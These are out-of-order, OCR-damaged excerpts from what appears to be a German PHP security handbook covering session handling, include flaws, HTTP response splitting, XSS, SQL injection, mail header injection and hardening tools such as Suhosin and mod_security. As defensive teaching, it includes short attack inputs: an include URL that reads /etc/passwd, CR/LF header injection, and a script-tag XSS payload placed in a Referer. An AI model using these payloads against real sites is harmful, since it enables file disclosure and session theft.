306. inistrator ist in der Pflicht mindestens eine der beiden zu abonnieren 1 7 Wichtige Informationsquellen al Die bliche Netiquette gilt nat rlich auch hier insbesondere soll ten Sie darauf achten bei Abwesenheit nicht mit einem Autoresponder den mehreren Tausend anwesenden Hackern mitzuteilen dass Ihre Server momentan leider ungesch tzt sind da Sie im Urlaub weilen Autoresponder auf BugTraq sollen schon f r den einen oder ande ren Servereinbruch gesorgt haben und zudem k nnen Sie sicher sein das Ziel des teilweise recht drastischen Spottes der Liste zu werden 1 7 2 Full Disclosure Die Liste Full Disclosure ist nicht nur eine Mailingliste sie steht f r eine Art Lebensgef hl in der Security Gemeinde Mit Full Disclos ure wird die Praktik beschrieben Sicherheitsl cken nach Bekannt werden und Behebung durch den Softwarehersteller mit allen Details zu melden und zwar eben an die Mailingliste Full Disclosure Pos tings an FD so der Kurzname der Liste enthalten neben ausf hrlichen Informationen zu einer gefundenen Sicherheitsl cke oft sogenannten Proof of Concept Code also ein kurzes Skript oder Programm das das Vorhandensein der L cke demonstriert Da diese Nachweise eines Problems nicht selten den Entwicklern von W rmern Rootkits oder Exploits als n tzliche Vorlage dienen ist Full Disclosure bei Sicher heitsexperten umstritten Insbesondere ein gro er Softwarehersteller aus Redmond hat si
307. ion Systeme Permissiv bedeutet erlaubend oder freiz gig und genau da liegt auch schon das Problem Jeder bekommt eine g ltige Session ID Falls eine vom Client bermittelte Session ID noch nicht existiert wird diese auf dem Server angelegt Das bedeutet ein Benutzer kann sich eine Session ID ausdenken und diese an den Server bermitteln Wenn dieser die ID akzeptiert und die Session Datei auf dem Server anlegt handelt es sich um ein permissives Session System da beim Entwurf der Session Unterst tzung Wert auf gr tm gliche Flexibilit t gelegt wurde Der Einbau von Restriktionen wird in PHP auf den Benutzer abgew lzt W rde es sich um ein striktes System handeln w rde diese Ses sion ID verworfen und durch eine von der Skriptsprache erzeugte ID ersetzt werden Ein permissives Session System ist f r Angriffe wie Session Riding also das Ausf hren von Aktionen unter fremden Sessions und auch Phishing wesentlich anf lliger als ein restriktives PHP implementiert das permissive Session Modell Grunds tzlich sollte bei der Vergabe einer Session ID gepr ft wer den ob dieser Nutzer schon authentifiziert ist oder ob ihm schon eine Rolle zugeordnet wurde Diese Daten m ssen dann wieder gel scht werden und der Nutzer muss sich neu authentifizieren Jede Seite in einer Applikation muss diese Authentifizierungsdaten erneut pr fen um den Quereinstieg in tiefer liegende Ebenen einer Applikation zu blockieren oder um eine
308. ion include Failed opening pagel php for inclusion include_path usr local lib php in srv www htdocs index php on line 2 Diesen beiden Fehlermeldungen liegt ein ungesicherter Include Befehl zugrunde der ber die URL Parameter eine Datei nachl dt Die Datei pagel php existiert auf dem Server nicht und PHP meldet den entsprechenden Fehler Dieser URL Parameter wird ohne Pr fung an die Include Anwei sung bergeben Folgender Programmcode wird hier m glicherweise verwendet Wie erzeuge ich Fehler Beispiel f r Fehlermeldung include und mysql_query Vorsicht bei Weitergabe von Werten an eine Include Anweisung 54 3 Parametermanipulation Include ohne jegliche berpr fung open_basedir Beispiel f r ungesicherte require Funktion Datenbanken angreifen Beispiel f r eine SQL Injection display_errors off lt php include _GET page gt Durch Anh ngen einer beliebigen Datei z B einer Systemdatei an den URL Parameter page kann diese Datei ausgelesen werden wenn der Webserver die entsprechenden Rechte dazu hat http www php sicherheit de index php page etc passwd Ist die Konfigurationsoption open_basedir nicht gesetzt k nnen in die sen F llen alle Dateien auf dem Webserver ausgelesen werden f r die der Webserver Leserechte hat lt php file require _GET file r gt Ist die Konfigurationsoption open_basedir gesetzt k nnen nur Dateien unt
309. ion vorhanden sein Diese Applikation muss lediglich einen ungen gend gepr ften Parameter mit den Sonder zeichen r CR und n LF an die header Funktion von PHP weiter geben CR und LF sind Carriage Return und Line Feed die Son derzeichen f r den Zeilenumbruch Die URL codierte Schreibweise ist 0d f r r und 0a f r n index php ur1 0d 0a In einen Angriff mittels HTTP Response Splitting sind immer drei Par teien mit eingebunden Der Webserver auf dem die angreifbare Applikation l uft Das Ziel das mit dem Webserver im Auftrag des Angreifers kommuniziert Dies kann ein Proxy Server Cache Server oder ein Browser Cache sein Der Angreifer Dieser st t den Angriff an Was ist HTTP Response Splitting Anh ngen von r nan einen URL Parameter Grundlegende Techniken 56 3 Parametermanipulation Eine Anfrage zwei Antworten HTTP Response Splitting in der Praxis bergabe eines ungepr ften Parameters an die PHP Funktion header Das Grundprinzip bei einer HTTP Response Splitting Attacke ist dass der Angreifer eine Anfrage sendet die den Webserver dazu veran lasst zwei Antworten zur ckzusenden Dabei hat der Angreifer die volle Kontrolle ber die zweite Antwort die erste kann vernachl ssigt werden Nun ist es f r den Angreifer m glich zwei Anfragen eine manipulierte und eine harmlose an den Webserver zu schicken von denen nur die erste Anfrage eine Antwort liefert Diese
310. ionsmo dus den sie innerhalb der php ini mittels der Direktive suhosin simulation On einschalten k nnen Ist dieser aktiviert dann wird im Fehlerfall die verletzende Aktion nicht abgebrochen sondern lediglich geloggt Auf diese Weise ist es m glich Ihre Konfiguration daraufhin zu berpr fen ob sie zu Fehlern innnerhalb Ihrer Anwendungen f hrt 11 PHP Hardening 11 1 5 Include Schutz gegen Remote Includes und Nullbytes Nachdem der Schutz gegen oft gew hlte Angriffsvektoren auf PHP selbst in Hardened PHP integriert war konnte sich das Projekt den meist viel problematischeren PHP Anwendungen zuwenden Diese lei den noch heute oft unter dem Problem dass ber nicht ausreichend gefilterte Benutzereingaben das werden Sie vermutlich in diesem Buch bereits das eine oder andere Mal gelesen haben dem Skript eine Include Datei untergeschoben werden kann Solange diese auf demsel ben nicht vom Angreifer kontrollierbaren Server liegt ist ein solcher Bug peinlich da auf diese Weise beliebige Dateien auf dem Server angeschaut werden k nnen Mit dem Umweg z B ber Logfiles wird es aber gef hrlich da eigener PHP Code eingeschmuggelt werden kann Sobald jedoch von einem anderen Server Code bequem per HTTP nachgeladen und ausgef hrt wird ist der Kampf um die Server sicherheit verloren Cracker haben freie Bahn Die Suhosin Extension l st das Problem auf ebenso drastische wie effektive Weise Alle Aufrufe des Sprachko
311. ird sollten Sie eine Priorit t nicht unter LOG_CRIT w hlen Kritischer Fehler Die dazugeh rige Direktive lautet suhosin log syslog priority LOG_CRIT 2 Genauso wie Sie bestimmte Meldungen ins Syslog lenken k nnen auch einige oder alle von Suhosin generierten Alarme in die jeweilige Webserver Log Datei geschrieben werden Dazu geben Sie auch bei der Direktive suhosin log sapi eine Bitmaske an also etwa so suhosin log sapi S_ALL amp S_MEMORY Zu guter Letzt haben Sie noch die M glichkeit bestimmte Nachrich ten direkt an ein Shell oder PHP Skript zu schicken das dem Adminis trator dann z B eine E Mail mit einem Hinweis auf den Fehler schreibt Die entsprechende Konfigurationsdirektive lautet suho sin log script bzw suhosin log phpscript die Parameter f r diese Einstellung sind dieselben wie f r alle anderen Log Direktiven per Bit maske verbundene Nachrichtenklassen suhosin log script S_MEMORY S_INCLUDE S_EXECUTOR suhosin log phpscript S_INCLUDE 266 11 PHP Hardening Alarm Shell Skript f r Suhosin Sofern Sie Log Nachrichten an ein Skript schicken m chten m ssen Sie PHP nat rlich auch noch mitteilen wo sich dieses befindet Suho sin ruft Shell Skripte dann per system mit zwei Parametern auf der Angriffsklasse in Stringnotation und der vollst ndigen Log Nachricht wie sie auch in jeder anderen Log Datei auftauchen w rde Ein eventu elles PHP Logging Skript erh lt dieselb
312. ise nichts Hieb und Stichfestes 2 4 PHP Installation erkennen Eine zuverl ssige Erkennung der Skriptsprache PHP auf einem Server ist im Gegensatz zum Webserver Fingerprinting um einiges schwieri ger Um wirklich zuverl ssig feststellen zu k nnen ob die Skriptspra che PHP auf einem Webserver installiert ist gen gt es oft nicht ein fach nur auf die Dateiendung zu schauen Um dem Angreifer nicht zu zeigen dass auf dem Webserver ein PHP Interpreter installiert ist kann die Dateiendung von php auf htm oder asp ge ndert werden Dazu m ssen Sie dem PHP Interpreter in der Webserver Konfiguration als Dateiendung statt php die Endung html oder asp zuordnen Dies geschieht dadurch dass Sie folgende Zeile in einer htaccess Datei oder in der httpd conf des Apache Webservers hinzuf gen AddType application x httpd php html Abb 2 2 Ausgabe von nmap Dateiendung modifzieren EJ 2 Informationsgewinnung Informationen ber die PHP Version unterdr cken Security by Obscurity Der Nachteil hierbei ist dass alle HTML Dateien auch statische vom PHP Interpreter daraufhin geparst werden ob sich nicht irgendwo in der Datei PHP Code befindet Dies geht nat rlich zulasten der Perfor mance des Webservers Daher ist der Einsatz des Apache Moduls mod_rewrite oft die ressourcenschonendere Alternative Eine Regel la RewriteRule html 1 php QSA sorgt daf r dass jeder Aufruf f r eine Datei mit der End
313. isset _POST mail if preg_match A Za z0 9 w _ 2 0 61 A Za z0 9 e A Za z0 9 A Za z0 9 0 61 A Z a z0 9 A Za z 2 6 _POST L mail echo Keine g ltige Mailadresse exit dbh mysql_connect localhost buch buch mysql_select_db buch dbh get_user select id email from user where email mysql_real_escape_string _POST mail res mysql_query get_user dbh erg mysql_fetch_array res if mysql_num_rows res 0 echo Kein Mitglied mit dieser Mailadresse gefunden die else challenge_id md5 unigid mt_rand true userid erg id insertchallenge INSERT INTO challenge userid challenge valid timestamp VALUES userid challenge id 1 mktime mysql _query insertchallenge dbh mailtext Sie k nnen Ihr Passwort hier ndern http _SERVERL HTTP_HOST challenge php challenge challenge_id mail usermail Passwort nderung mailtext else 6 2 Authentisierungssicherheit 161 gt lt div gt Geben Sie hier Ihre Mailadresse ein und wir senden Ihnen einen Link zu lt form method POST action passremind php gt E Mail lt input type text name mail gt lt br gt lt input type submit value abschicken gt lt form gt lt div gt lt php gt Nat rlich ist das in diesem Skript enthaltene HTML nicht g ltig Sie
314. ist mod_security ein Modul zur Web Intrusion Detection and Prevention also der Feststellung und Verhinderung von Einbr chen in Webserver Neben einer Version f r Apache ist auch eine Java Implementierung verf gbar die als Servlet Filter zwischen Browser und Applikation geschaltet wird Da jedoch JSP Applikationsserver nur sehr selten in Verbindung mit PHP benutzt werden soll dieses Kapitel sich auf die Apache Version von mod_security konzentrieren Verschiedene Hersteller bieten sogenannte Web Application Fire walls WAF an die extrem gesprochen nichts anderes als mod_secu rity tun n mlich regelbasiert s mtliche in ein Netzwerk eingehenden und wom glich auch die ausgehenden sofern sie als Proxy agieren HTTP Requests gegen ein Regelset zu filtern um Angriffe zu vermei den Im Gegensatz zu mod_security und auch mod_parmguard wer den WAFs jedoch auf einem dem eigentlichen Webserver vorgelagerten Server untergebracht Damit kann bei einem Servercluster die Umkon figuration der produktiven Webserver unterbleiben und die WAF agiert als Blackbox Das minimiert den Administrationsaufwand ist aber meist nicht die kosteneffektivste L sung 12 Webserver Filter f r Apache 12 3 1 So funktioniert s Die Konfiguration des Apache Moduls mod_security erfolgt ber eine Liste von m glichen Angriffsmustern die mit regul ren Ausdr cken beschrieben werden So ist mod_security ein sehr flexibles Werkzeug das nicht nur zu
315. it Dateinamen Dateigr e und dem Datum der letzten Modifikation Ist dies bei einem der oben genannten Verzeichnisse aktiv k nnen auch Dateien angezeigt werden die nicht f r die ffent lichkeit bestimmt sind und so sensible Informationen wie Usernamen oder Passw rter in die falschen H nde gelangen Die Angabe Options Indexes in einer htaccess Datei schaltet diese Anzeige ab Zugriffe ohne Datei namen resultieren dann in einem HTTP Fehler 403 Hat ein Entwickler keinen Zugriff auf htaccess Dateien oder ist eine Interpretation von htaccess Dateien ausgeschaltet bietet sich ihm die Erstellung einer Datei index htm oder index php in jedem Verzeich nis bei dem kein Directory Listing angezeigt werden soll an Ein Ser veradministrator kann das Modul mod_autoindex direkt aus der Server konfiguration entfernen Ein Schutz gegen das zuf llige Erraten von Dateinamen ist das aber keinesfalls Um Statistiken oder Log Dateien aus dem Internet abzurufen besitzen viele Webserver Zugriffsm glichkeiten zu serverinternen Directory Listing Webserver Pfade E3 2 Informationsgewinnung Verr terische CVS Dateien Informationen Diese werden in der Standardinstallation mitinstalliert und bieten ebenfalls Angriffsfl chen _vti_enf _vti_txt _vti_log logs logfiles Abgesehen davon dass es hierzu bereits bekannte Angriffe gibt finden sich in solchen Verzeichnissen Pfade oder Dateien die f r eine Informationssam
316. it anderen Inhalten weggefiltert wird Helfen alle Ma nahmen nichts ist es auch m glich den Angriff einfach auf mehrere HTTP Anfragen zu verteilen und in jeder etwa nur eine Zeile Schadcode unterzubringen Auch bei einer erfolgreichen Attacke ergibt sich f r den Angreifer zun chst die Frage nach dem Sinn seines Unterfangens Da ja nur er selbst diesen User Agent verwendet w re ihm mit einer First Order Attacke nicht gedient Existierte ein XSS in einem der Skripte der Opferseite s he das nur ein Anwender mit manipuliertem User Agent Gelingt es dem Angreifer jedoch den ge nderten Versionsstring seines Browsers in der Log Datei oder der Besucherdatenauswertung des Opfers unterzubringen kann er den Administrator der Seite direkt angreifen Dieser wird n mlich eine solche Auswertung im Administ rations Backend der Site ansehen filtert die Auswertungssoftware keine berpr fung auf XSS durch kann der Angreifer bequem die Ses sion des Administrators bernehmen hnliche M glichkeiten bietet der Referrer Header der ebenfalls in den Serverlogs und eventuellen Auswertungen auftaucht Setzt der Angreifer den Referrer auf einen Wert wie http www test com gt lt script gt alert xss lt script gt kann er sofern dieser String ungepr ft in die Auswertung bernom men wird dem Site Administrator ebenfalls Skriptcode unterschie ben Exakt diese L cke existierte vor einigen Jahren im wohl popul rs ten Programm zur
317. it aus den Inhalt der Zwischenablage auszulesen Mit wenigen Zeilen JavaScript kann so ein Seitenbetreiber jederzeit die komplette Zwischenablage einsehen die auch vertrauliche Texte bein halten k nnte Diese von Microsoft als Feature bezeichnete Funk tion l sst sich in den Sicherheitseinstellungen des Browsers abschalten 45 Formularvervollst ndigung verhindern Speichern Benutzer Ihrer Anwendungen Login Daten in einem Pass wort Safe so k nnen Angreifer die den vorigen Abschnitt dieses Kapi tels sorgf ltig gelesen und eine XSS L cke in Ihrem Skript gefunden haben mit Leichtigkeit diese Benutzerdaten absch pfen ohne dass Ihre Kunden sich einloggen m ssen Ein simpler Klick an der falschen Stelle oder ein Besuch im falschen Forum das n mlich per CSRF pr pariert wurde reichen aus Die einzige M glichkeit diese Datenspeicherung durch den Brow ser zu verhindern besteht darin die Formularfelder f r Benutzername und Passwort oder die entsprechenden Formularfelder in Ihrem Sys tem mit dynamischen sich bei jedem Request ndernden Namen zu versehen Mit dieser Methode die wohldosiert auch an anderen sen siblen Stellen in Ihrem Kundenbereich eingesetzt werden kann ver hindern Sie im gleichen Schritt auch zuverl ssig einfache GET basierte CSRF Angriffe Die Implementierung sieht folgenderma en aus Statt einer norma len Stringvariablen deklarieren Sie Benutzername und Passwort als einelementige Arrays der A
318. ite destroy gc session_start gt 7 4 Schwache Algorithmen zur Session ID Generierung 177 7 4 Schwache Algorithmen zur Session ID Generierung Session IDs sollten f r jeden Benutzer eindeutig sein Dazu ist ein Algorithmus notwendig der garantiert f r jede neue Session eine ein deutige ID generiert Ob ein Generierungsalgorithmus dieses Krite rium erf llt kann man durch die Erstellung mehrerer neuer Session IDs pr fen F r diese Pr fung schreiben Sie sich einfach ein kurzes PHP Skript wie folgendes lt php session _start for i 0 i lt 20 i echo session_id lt br gt session _regenerate_id gt Hier wird die Funktion session_regenerate_id verwendet da die Funktion session_destroy zwar die Session Daten zerst rt aber nicht die Session ID selbst Deswegen ist session_destroy trotzdem nicht unsicher denn es wird nur das Session Cookie auf diesem einen Client nicht gel scht Ein anderer Client erh lt eine andere ID und wenn auf dem gleichen Client zwei Benutzer arbeiten sind die Daten schon zerst rt worden Unterscheiden sich diese IDs nur in wenigen Stellen oder wird immer die gleiche Session ID generiert handelt es sich um einen untauglichen Generierungsmechanismus Eine Einbeziehung der IP Adresse oder der aktuellen Uhrzeit im Zusammenhang mit einem Hash Algorithmus ist ebenso unsicher wie die Erh hung einer Zahl um einen bestimmten Wert schlie lich l ss
319. ite des Hardened PHP Projektes Das Quellarchiv entpacken Sie wie gewohnt in den blichen Pfad in unserem Beispiel in usr local src Danach sollte das Unterverzeichnis usr local src php x y z existieren wechseln Sie jedoch zun chst noch nicht in dieses Verzeichnis Als N chstes besorgen Sie sich den notwendigen Patch auf der Download Seite des Hardened PHP Projektes und speichern ihn unter usr local src Da der Patch mit GZip komprimiert ist muss er vor der weiteren Verwendung noch entpackt werden das erledigen Sie mit gunzip suhosin patch 4 4 4 0 2 6 patch gz Wechseln Sie nun in das PHP Quellenverzeichnis Jetzt wird der Patch auf die Quellen angewandt patch p 1 lt suhosin patch 4 4 4 0 2 6 patch Nun sollte eine Liste der gepatchten Dateien auf dem Bildschirm durchlaufen Der Patch wurde erfolgreich appliziert wenn keine Feh lermeldungen zu sehen sind Traten ein oder mehrere Fehler auf dann erkennen Sie das an den Meldungen w hrend des Patchens der Quelldateien die z B so ausse hen k nnten patching file main spprintf c Hunk 1 FAILED at 630 1 out of 1 hunk FAILED saving rejects to file main spprintf c rej can t find file to patch at input line 3003 Perhaps you used the wrong p or strip option The text leading up to this was diff Nur php 5 0 4 sapi apache mod_php5 c suhosin patch 5 0 4 0 2 7 sapi apache mod_php5 c php 5 0 4 sapi apache mod_php5 c 2004 07 14 11 43 26 000000000 020
320. itere m gliche Sonderzeichen sind oder die Kommentarzeichen f r verschiedene Datenbanksysteme sind ist das Kommentarzeichen f r MS SQL Server und Oracle Datenbank Server ist eigentlich ein mehrzeiliger Kommentar f r einen MySQL Server der mit wieder abgeschlossen werden muss Fehlt dieser Abschlu betrachtet MySQL den Kommentar am Ende des Queries als abgeschlossen und meldet keinen Fehler ist bei allen Datenbanken ein Trennzeichen f r eine Multi Query Die PHP Funk tion mysql_query l sst allerdings nur eine SQL Abfrage zu Erst mit der Funktion mysqli_multi_query der MySOLi Exten sion sind Mehrfach Abfragen m glich Andere Datenbanksysteme lassen aber multiple SQL Abfragen ohne spezielle Funktionen zu Filtern Sie das Semikolon aus allen Parametern heraus um ungewollte Mehrfach Abfragen zu verhindern 5 2 2 POST Parameter POST Parameter sind Parameter die aus einem HTML Formular an einen Server bermittelt werden Die Manipulation ist in diesem Fall nicht so einfach wie bei GET Parametern aber unm glich ist sie nicht Durch Speicherung des Formulars auf der lokalen Festplatte und anschlie endem Erg nzen des action Attributs des Formular Tags um die URL lassen sich auch hier die Formularparameter manipulieren Aus lt form action verarbeite php method post gt wird lt form action http www php sicherheit de verarbeite php method post gt Fehlermeldung von
321. k nnen effektiv hat sich die Benutzerfreundlichkeit dann jedoch nicht wesentlich gegen ber der direkten Eingabe von HTML erh ht Zudem m ssen Sie mit einigem Aufwand rechnen wenn Sie mittels BBCode die Funktionalit t die HTML bietet also insbesondere ver schachtelte Tags und Tag Attribute reimplementieren m chten Der Ansatz den BBCode verfolgt ist recht simpel Der Autor eines Textes oder Postings verwendet an den HTML Standard angelehnte oder von Ihnen vorgegebene Tags die statt mit Spitzklammern lt gt mit eckigen Klammern umrahmt werden Ihr Skript f hrt dann zun chst mit s mtlichen Benutzereingaben ein strip_tags durch um m glicherweise im Text enthaltenen HTML Code zu eliminieren und evaluiert dann alle BBCode Tags Diese Auswertung ist meist ein schlichtes str_replace oder preg_replace ss 4 Cross Site Scripting Um sich die u erst zeitaufwendige Implementierung von BBCode zu sparen k nnen Sie auf das PEAR Paket HTML_BBCodeParser zur ckgreifen Dieser Parser enth lt eine komplette Parsing Engine anstatt einiger Regex Aufrufe und ist in der Lage fehlerhaftes Nesting also Verschachtelung in BBCode Tags selbstt tig zu beheben Das PEAR Paket installieren Sie wie von Ihrer Umgebung gewohnt per Kommandozeile Webinterface oder indem Sie die Dateien von Hand ins passende Verzeichnis kopieren Eine Instanz des BBCode Parsers rufen Sie dann mit folgendem Codeschnipsel auf der auch gleich
322. k nnen Sie die Daten verschl sselt auf der Festplatte des Servers ablegen Das erreichen Sie durch berschreiben des Session Save Handlers des PHP Session Sys tems Der Session Save Handler ist diejenige Funktion die PHP vorgibt auf welche Art und Weise Sessions abgespeichert werden und wie die Dateiein und ausgabe durchgef hrt werden soll PHP bringt einige Funktionen daf r mit Sie k nnen aber auch eigene Funktionen schrei ben Praktischerweise k nnen Sie das direkt in PHP tun m ssen also nicht auf C ausweichen Ein eigener Session Save Handler k nnte wie das nachfolgende Beispiel aussehen Beachten Sie bei dem Beispiel dass es nicht transaktionssicher ist Das hei t parallele Requests der gleichen Session k nnen sich gegenseitig ihre Session Daten ber schreiben Falls Ihre Applikation transaktionssichere Sessions ben tigt muss der Session Save Handler entsprechend erweitert werden Der Standard PHP Session Save Handler realisiert dies ber File Locking lt php Funktion zum ffnen der Session wird bei session_start aufgerufen function open save_path session_name Slobale Variablen global sess_save_path sess_session_name sess_save_path save_path sess_session name session_name return true function close return true Funktion zum Lesen function read id Slobale Variablen global sess_save_path sess_session_name if preg_match a zA Z0 9
323. kieren diese sind dann in einem PHP Skript aus jedem Scope heraus verf gbar Mit der Konfigurati onsdirektive runkit superglobal BLAH BLUBB k nnen Sie die beiden superglobalen Variablen _BLAH und _BLUBB definieren die Ihnen fortan zur Verf gung stehen Nat rlich ist es nicht m glich das direkt im Skript zu erledigen schlie lich m ssen die Variablen bei Skriptstart bereits zur Verf gung stehen allerdings k nnen Sie diese Variablen in einer htaccess Datei oder der Virtual Host Definition aktivieren Runkit k nnte sich in sp teren Versionen von PHP zu einer hervorragenden M glichkeit entwickeln potenziell gef hrlichen Code in einer abgeschlossenen Umgebung innerhalb des PHP Interpreters auszuf hren ohne die Kontrolle abgeben zu m ssen Viele Sicherheits probleme die die Ausf hrung von Schadcode beinhalten k nnten so zwar nicht verhindert aber doch in ihrer Sch dlichkeit stark einge schr nkt werden Leider verzeichnet die Projekthomepage http pecl php net package runkit seit Juni 2006 keine neuen Versionen der Software man muss also davon ausgehen dass die Entwicklung ein gestellt wurde 10 10 Externe Ans tze 10 10 1 suPHP Um PHP Skripte mit den Rechten des jeweiligen Apache Benutzers auszuf hren existiert neben dem mit Apache gelieferten suExec noch ein ebenfalls unter einer freien Lizenz stehendes Modul und Binary namens suPHP Die Funktion die dieses Modul erf llt ist im Prinzip diese
324. kt D Glossar 329 Regul re Ausdr cke Regul re Ausdr cke Abk RegExp oder Regex engl regular expression dienen der Beschreibung einer Familie von formalen Sprachen d h sie beschreiben Unter Mengen von Zeichenketten Request Response Prinzip Die Kommunikation zwischen Client und Server bezeichnet man als Request Response Prinzip Ein Client sendet einen Request Anfrage an einen Server Dieser antwortet mit einer Response RFC Als Request for Comments RFC werden die meisten Internet Standards der Internet Engineering Task Force ver ffentlicht um Anregungen und Hinweise aus der Community zu sammeln Sie behalten ihren Namen auch nachdem sie zu einem Standard werden zus tzlich werden sie dann als STD bezeichnet Rootkit Ein Rootkit ist eine Sammlung von Softwarewerkzeugen die nach dem Einbruch in ein Computersystem auf dem kompromittierten System instal liert wird um zuk nftige Logins des Eindringlings zu verbergen Prozesse zu verstecken und Daten mitzuschneiden Script Kiddie Als Script Kiddie bezeichnet der Hackerjargon einen unerfahrenen oft jungen Cracker der von anderen vorgefertigte Exploits oder Tools benutzt um Angriffe durchzuf hren aber keine eigenen Ideen entwickelt und umsetzt Security Audit Als Security Audit bezeichnet man eine Untersuchung einer Applikation auf Sicherheitsl cken Select Formularelement Siehe Combobox Beispiel lt select name test gt lt option nam
325. l sslich die Mail adresse des Formularabsenders grob auf syntaktische Korrektheit zu pr fen Idealerweise erledigen Sie das mit einem regul ren Ausdruck preg_match x L x x La z0 9 a z0 9 a z 2 6 _POST absender Beachten Sie bitte dass das Format f r E Mail Adressen sehr komplex ist und sehr viele Formatierungsm glichkeiten zul sst Dieser regul re Ausdruck ist daher nur eine sehr grobe N herung Alternativ zu einer berpr fung auf syntaktisch korrekte Mail adressen k nnen Sie auch pr fen ob die Mailadresse Newlines enth lt tut sie das k nnen Sie davon ausgehen dass gerade ein Angriff per Header Injection versucht wird absender urldecode _POST absender if eregi r absender eregi n absender die Header Injection vermutet breche ab Wie blich f r PHP f hren immer mehrere Wege zum Ziel Sie k nnen falls Sie die Suhosin Extension f r PHP installiert haben mit der Direktive suhosin mail protect das Einf gen von doppelten Zeilenum br chen auf dem dieser Angriff basiert vollst ndig unterbinden Zus tzlich k nnen Sie die Sicherheitsextension anweisen Header vom Typ CC BCC To und Subject im vierten Parameter zu mail zu ver bieten Dieser Schutz ist deutlich wirksamer als die beiden in PHP imp lementierten M glichkeiten in diesem Abschnitt wenn Sie die M g lichkeit haben sollten Sie stets Suhosin nutzen Im Abschnitt 11
326. l f r eine htaccess Datei lt Files inc gt Order allow deny Deny from all lt Files gt Die bessere M glichkeit ist es diese Dateien au erhalb des Document Root abzulegen Schlie lich k nnte es passieren dass der Webserver administrator die Unterst tzung f r htaccess Dateien deaktiviert etwa um einem Performanceproblem abzuhelfen denn die Verwen dung von htaccess Dateien verwendet die Webserver Leistung ein wenig Ihre Quelldateien l gen dann ungesch tzt und f r jeden zug nglich auf dem Webserver bereit Include Dateien sollten mit php am Ende des Dateinamens versehen au erhalb des Document Root abgelegt oder mit einer htaccess Datei gesch tzt werden 2 6 3 Dateien von Entwicklungswerkzeugen Im Zeitalter der grafischen Entwicklungsumgebungen gibt es immer mehr Programme die auf dem Webserver der Entwickler Dateien able 2 6 Datei Altlasten zl gen in denen Steuerinformationen f r ebendiese Werkzeuge enthalten sind Es kann sich hierbei um FTP Programme um ein Werkzeug zur Erstellung von Webseiten oder hnliches handeln Diese Dateien haben eine Endung die vom Webserver nicht interpretiert werden kann und als Klartext zur ckgeliefert wird Ein Beispiel ist die Datei WS_FTP LOG die von dem beliebten FIP Programm WS_FTP bei jedem Transfer im lokalen Quellverzeichnis angelegt und des fteren verse hentlich auf den Server bertragen wird In dieser Datei stehen IP Adressen komple
327. lagen der MySQL Client findet die f r die Socket Verbindung ben tigte Datei nicht Eine M glichkeit dieses Problem zu beseitigen ist die Umstellung von Unix Sockets das w re mysql_connect localhost auf TCP IP Eine solche Verbindung wird beispielsweise durch den Funktionsauf ruf mysql_connect 127 0 0 1 ge ffnet Obgleich beide Aufrufe eigentlich quivalent sind schlie lich ist localhost der Hostname der IP 127 0 0 1 werden sie vom MySQL Client intern verschie den behandelt was Sie sich in diesem Falle zunutze machen k nnen Die zweite Option besteht darin von dem blicherweise in var run mysqld o abgelegten Socket File einen Link zu einer ent sprechenden Datei innerhalb des Rootjails zu setzen Auch die Konfiguration von Sendmail in einem Rootjail kann problematisch werden da es in der Regel nicht ausreicht das jeweilige Sendmail Binary ins Rootjail zu kopieren Die Mailqueue m sste auch umkopiert werden was oft nicht leicht m glich ist So ist es einfacher statt der Funktion mail stets mit Funktionen zu arbeiten die per fsockopen eigene SMTP Funktionalit t implementieren PEAR Mail w re ein Beispiel f r eine solche Klasse die inzwischen sogar E Mail ber einen externen Mailserver verschicken kann Ist das Rootjail erst einmal konfiguriert und einsatzbereit kann es sehr n tzlich sein um eine zus tzliche Barriere f r Angreifer zu haben wer Ihre PHP Skripte knackt kann nicht
328. lashes Hier werden ebenfalls die Sonderzeichen mit in der Datenbank gespeichert Beispiel f r einen Angriff mit der CONV Funktion 140 5 SQL Injection mysgli_ prepare mysgli_stmt_bind_ param F r das Entfernen der Backslashes beim Auslesen gibt es die PHP Funktion stripslashes Diese entfernt alle Backslashes aus dem String An eine Sonderzeichenbehandlung sollte auf jeden Fall gedacht werden Je nachdem wie Ihre Produktivumgebung aussieht kann man mysql_real_escape_string oder addshlashes benutzen Vorteil bei diesen beiden Funktionen Man hat volle Kontrolle ber die eingef g ten Backslashes Auf jeden Fall muss man bevor man addslashes verwendet berpr fen ob magic_quotes_gpc an oder ausgeschaltet ist Falls es auf on steht ist eine weitere Behandlung mit addslashes nicht n tig 5 5 2 Ist Schl sselwort Filterung ein wirksamer Schutz Diese Frage kann man nicht mit hundertprozentiger Sicherheit beant worten Eine Filterung auf Schl sselw rter birgt immer Gefahren in sich Man sollte auf jeden Fall auf eine eventuelle Gro und Klein schreibung achten Speziell die Schl sselw rter AND OR SELECT UNION und ORDER sollten gefiltert werden Ob nach oder vor diesen Schl ssel w rtern ein Leerzeichen kommt darf bei einer Filterung nicht relevant sein denn Sie k nnen nach einem dieser Schl sselw rter ein Kommen tarzeichen einf gen ORDER BY SELECT name
329. laubt also nur die Tags lt a gt lt img gt und lt div gt Sie finden eine ausf hrliche Konfigurationsreferenz auf der Homepage von HTML Purifier Nachdem die Konfiguration vollst ndig ist instanziieren Sie ein konkretes Objekt der Klasse HTMLPurifier dem Sie das soeben erzeugte Konfigurationsobjekt bergeben purifier new HTMLPurifier config Das gereinigte HTML erhalten Sie indem Sie die Methode purify aufrufen und ihr als Argument den zu berpr fenden HTML Code bergeben Ein Beispiel soll pr fen ob die angepasste Tag und Attri but Whitelist ordnungsgem funktioniert code lt b style foobar gt test lt a class blah href http google com gt test2 lt a gt lt div align left style foobar gt lt a href http www heise de align center gt noch ein Test lt a gt lt div gt pure_html purifier gt purify code Die Variable pure_html enth lt nun folgendes ges ubertes HTML test lt a class blah gt test2 lt a gt lt div gt lt a href http www heise de gt noch ein Test lt a gt lt div gt Wie erwartet werden die lt b gt Tags komplett herausgefiltert sie stehen nicht in der Whitelist und auch der Link zu einer f hrenden Suchma schine wird entfernt Zus tzlich hat HTML Purifier jedoch auch die weiteren Einschr nkungen beachtet und nicht in der Whitelist enthal tene Attribute aus dem HTML Code eliminiert Die Ausgabe ent spricht also genau den Konfigu
